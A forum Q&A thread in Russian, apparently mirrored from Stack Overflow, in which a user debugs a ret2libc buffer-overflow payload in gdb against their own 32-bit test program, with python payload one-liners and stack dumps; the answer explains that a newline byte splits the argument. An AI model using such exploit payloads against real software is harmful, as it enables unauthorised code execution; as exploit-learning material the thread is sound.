определенные части вставленной строки отсутствуют в кадре стека - PullRequest
0 голосов
/ 27 марта 2019

Я пытаюсь использовать эксплойт в libc в простой программе.Мне удалось найти адрес стека, где хранится входная строка, и расположение функций libc, и построить на ней свою базу полезных данных.

[padding (252-byte)] + [system (4-byte)]+ [выход (4 байта)] + [аргумент (4 байта)]

Я открыл уязвимую программу с помощью gdb и вставил полезную нагрузку.Когда я проверяю кадр стека, я вижу, что 252-байтовое заполнение загружено в правильном месте, но последние 12-байтовые части полезной нагрузки, кажется, отсутствуют или, как-то, заменены на некоторые ошибки.

Так что из любопытства я изменил свойнемного полезной нагрузки, особенно части заполнения.

[padding (96)] + [system (4)] + [padding (152)] + [system (4)] + [exit (4)] +[аргумент (4)]

Тогда в стеке содержится только первая 96-байтовая часть, а остальная часть отсутствует.

Я ввел полезную нагрузку с помощью python на 64-разрядной версии Kali-Linux.Уязвимая программа компилируется с gcc с опцией -m32 -fno-stack-protector.

(gdb) run $(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')

(gdb) x/256xw $ebp-0xfc 0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd070: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd080: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd090: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd100: 0x41414141 0x41414141 0x41414141 0x00000060 0xffffd110: 0xffffd130 0x080dc000 0x00000000 0x0804a25b 0xffffd120: 0x080dc000 0x080dc000 0x080dc000 0x0804a25b 0xffffd130: 0x00000003 0xffffd1e4 0xffffd1f4 0xffffd184 0xffffd140: 0x00000000 0x00000000 0x00000000 0x080dc000 ...

(gdb) run $(python -c 'print "\x41"*96 +"\x60\x0a\x05\x08"+ "\x41"*152 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')

(gdb) x/256wx $ebp-0xfc 0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd070: 0x00000060 0x00000000 0x0000bfc0 0xa9173800 0xffffd080: 0x080b12ef 0x00002933 0x00000000 0x080dc000 0xffffd090: 0x00000001 0x080dc000 0x080dd900 0x080495fa 0xffffd0a0: 0x00000004 0x080ddf74 0x0804fa99 0x00008000 0xffffd0b0: 0x080b0fa5 0x00040000 0x00000000 0x080abc6a ...

Кажется, адрес \x60\x0a\x05\x08 каким-то образом заменен на \x60\x00\x00\x00.Я что-то упускаю?Или это связано с компилятором?

1 Ответ

0 голосов
/ 27 марта 2019

Кажется, вы пытаетесь запустить программу, передавая полезную нагрузку в качестве аргумента, но она содержит символ \ x0a, который приводит к разделению полезной нагрузки на два отдельных аргумента.

Добавление двойных кавычек вокруг команды должно позволить вам передать ее как один аргумент:

(gdb) run "$(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')"
...